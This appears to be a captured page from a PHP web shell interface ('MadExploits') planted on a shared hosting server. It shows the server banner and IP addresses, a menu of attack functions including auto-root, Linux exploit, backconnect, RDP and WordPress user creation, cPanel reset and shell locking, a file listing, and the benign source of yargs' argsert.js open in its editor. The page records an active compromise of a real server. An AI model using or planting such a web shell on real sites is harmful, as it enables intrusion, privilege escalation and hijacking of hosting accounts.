Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.145.111.115
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
node_modules /
yargs /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
apply-extends.js
1.95
KB
-rw-r--r--
argsert.js
2.36
KB
-rw-r--r--
command.js
14.92
KB
-rw-r--r--
completion-templates.js
1.35
KB
-rw-r--r--
completion.js
3.89
KB
-rw-r--r--
is-promise.js
147
B
-rw-r--r--
levenshtein.js
2.07
KB
-rw-r--r--
middleware.js
2.11
KB
-rw-r--r--
obj-filter.js
269
B
-rw-r--r--
usage.js
15.53
KB
-rw-r--r--
validation.js
10.2
KB
-rw-r--r--
yerror.js
254
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : argsert.js
'use strict' // hoisted due to circular dependency on command. module.exports = argsert const command = require('./command')() const YError = require('./yerror') const positionName = ['first', 'second', 'third', 'fourth', 'fifth', 'sixth'] function argsert (expected, callerArguments, length) { // TODO: should this eventually raise an exception. try { // preface the argument description with "cmd", so // that we can run it through yargs' command parser. let position = 0 let parsed = { demanded: [], optional: [] } if (typeof expected === 'object') { length = callerArguments callerArguments = expected } else { parsed = command.parseCommand(`cmd ${expected}`) } const args = [].slice.call(callerArguments) while (args.length && args[args.length - 1] === undefined) args.pop() length = length || args.length if (length < parsed.demanded.length) { throw new YError(`Not enough arguments provided. Expected ${parsed.demanded.length} but received ${args.length}.`) } const totalCommands = parsed.demanded.length + parsed.optional.length if (length > totalCommands) { throw new YError(`Too many arguments provided. Expected max ${totalCommands} but received ${length}.`) } parsed.demanded.forEach((demanded) => { const arg = args.shift() const observedType = guessType(arg) const matchingTypes = demanded.cmd.filter(type => type === observedType || type === '*') if (matchingTypes.length === 0) argumentTypeError(observedType, demanded.cmd, position, false) position += 1 }) parsed.optional.forEach((optional) => { if (args.length === 0) return const arg = args.shift() const observedType = guessType(arg) const matchingTypes = optional.cmd.filter(type => type === observedType || type === '*') if (matchingTypes.length === 0) argumentTypeError(observedType, optional.cmd, position, true) position += 1 }) } catch (err) { console.warn(err.stack) } } function guessType (arg) { if (Array.isArray(arg)) { return 'array' } else if (arg === null) { return 'null' } return typeof arg } function argumentTypeError (observedType, allowedTypes, position, optional) { throw new YError(`Invalid ${positionName[position] || 'manyith'} argument. Expected ${allowedTypes.join(' or ')} but received ${observedType}.`) }
Close